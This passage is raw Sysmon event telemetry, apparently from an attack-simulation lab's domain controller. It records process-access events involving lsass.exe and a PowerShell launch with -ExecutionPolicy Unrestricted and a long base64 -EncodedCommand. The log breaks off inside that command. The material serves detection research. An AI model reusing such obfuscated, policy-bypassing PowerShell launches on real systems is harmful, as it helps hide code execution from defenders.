UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.304{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.304{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.272{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_sw535e4o.4zk.ps12020-10-09 09:10:25.272 10341000x80000000000000003034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.257{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.241{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-2901-5F80-9400-000000007F01}44201544C:\Windows\system32\cmd.exe{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.239{A5F018FF-2901-5F80-9500-000000007F01}860C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAE